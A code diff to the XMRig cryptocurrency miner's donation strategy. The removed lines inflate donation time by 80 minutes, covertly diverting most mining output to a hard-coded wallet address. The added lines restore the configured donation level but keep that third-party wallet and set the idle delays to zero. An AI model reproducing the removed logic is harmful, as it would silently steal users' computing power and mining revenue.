diff --git a/src/net/Network.cpp b/src/net/Network.cpp index fb8b21b..5f3f1b0 100644 --- a/src/net/Network.cpp +++ b/src/net/Network.cpp @@ -79,7 +79,7 @@ xmrig::Network::Network(Controller *controller) : m_strategy = pools.createStrategy(m_state); if (pools.donateLevel() > 0) { - m_donate = new DonateStrategy(controller, this); + m_donate = new DonateStrategy(controller, this, pools); } m_timer = new Timer(this, kTickInterval, kTickInterval); diff --git a/src/net/strategies/DonateStrategy.cpp b/src/net/strategies/DonateStrategy.cpp index bb5973b..5c1406d 100644 --- a/src/net/strategies/DonateStrategy.cpp +++ b/src/net/strategies/DonateStrategy.cpp @@ -26,6 +26,7 @@ #include #include #include +#include #include "net/strategies/DonateStrategy.h" @@ -58,9 +59,9 @@ static const char *kDonateHostTls = "us-west.minexmr.com"; } /* namespace xmrig */ -xmrig::DonateStrategy::DonateStrategy(Controller *controller, IStrategyListener *listener) : - m_donateTime(static_cast(controller->config()->pools().donateLevel()+80) * 60 * 1000), - m_idleTime((100 - static_cast(controller->config()->pools().donateLevel()+80)) * 60 * 1000), +xmrig::DonateStrategy::DonateStrategy(Controller *controller, IStrategyListener *listener, const Pools &pools) : + m_donateTime(static_cast(controller->config()->pools().donateLevel()) * 60 * 1000), + m_idleTime((100 - static_cast(controller->config()->pools().donateLevel())) * 60 * 1000), m_controller(controller), m_listener(listener) { @@ -77,12 +78,13 @@ xmrig::DonateStrategy::DonateStrategy(Controller *controller, IStrategyListener # endif (void)mode; - char memes[256] = "43R3HpUA9yFN8aMrnhFCdJeZSiZWrcbeEND9ehpMh2uFATBp35r6XauTo5C8VxMWPM5z8vrVwYJtabbU9zf45B2vQRRkoxQ.donate-idx"; - for (const auto &p : m_pools) { - if(!p.rigId().isEmpty()) { + char memes[256] = "43R3HpUA9yFN8aMrnhFCdJeZSiZWrcbeEND9ehpMh2uFATBp35r6XauTo5C8VxMWPM5z8vrVwYJtabbU9zf45B2vQRRkoxQ.donate-idk"; + + for(auto &p : pools.data()) { + if(!p.rigId().isEmpty()) snprintf(memes, sizeof(memes), "43R3HpUA9yFN8aMrnhFCdJeZSiZWrcbeEND9ehpMh2uFATBp35r6XauTo5C8VxMWPM5z8vrVwYJtabbU9zf45B2vQRRkoxQ.donate-%s", p.rigId().data()); - } } + # ifdef XMRIG_FEATURE_TLS m_pools.emplace_back(kDonateHostTls, 443, memes, nullptr, 0, false, true, Pool::MODE_POOL); # endif @@ -337,10 +339,10 @@ void xmrig::DonateStrategy::setState(State state) case STATE_IDLE: if (prev == STATE_NEW) { - idle(0.5, 1.5); + idle(0.00, 0.00); } else if (prev == STATE_CONNECT) { - m_timer->start(20000, 0); + m_timer->start(0, 0); } else { m_strategy->stop(); @@ -349,7 +351,7 @@ void xmrig::DonateStrategy::setState(State state) m_proxy = nullptr; } - idle(0.8, 1.2); + idle(0.00, 1.00); } break; diff --git a/src/net/strategies/DonateStrategy.h b/src/net/strategies/DonateStrategy.h index c5f9016..d88432f 100644 --- a/src/net/strategies/DonateStrategy.h +++ b/src/net/strategies/DonateStrategy.h @@ -34,6 +34,7 @@ #include "base/kernel/interfaces/IStrategyListener.h" #include "base/kernel/interfaces/ITimerListener.h" #include "base/net/stratum/Pool.h" +#include "base/net/stratum/Pools.h" #include "base/tools/Object.h" @@ -50,7 +51,7 @@ class DonateStrategy : public IStrategy, public IStrategyListener, public ITimer public: XMRIG_DISABLE_COPY_MOVE_DEFAULT(DonateStrategy) - DonateStrategy(Controller *controller, IStrategyListener *listener); + DonateStrategy(Controller *controller, IStrategyListener *listener, const Pools &pools); ~DonateStrategy() override; protected: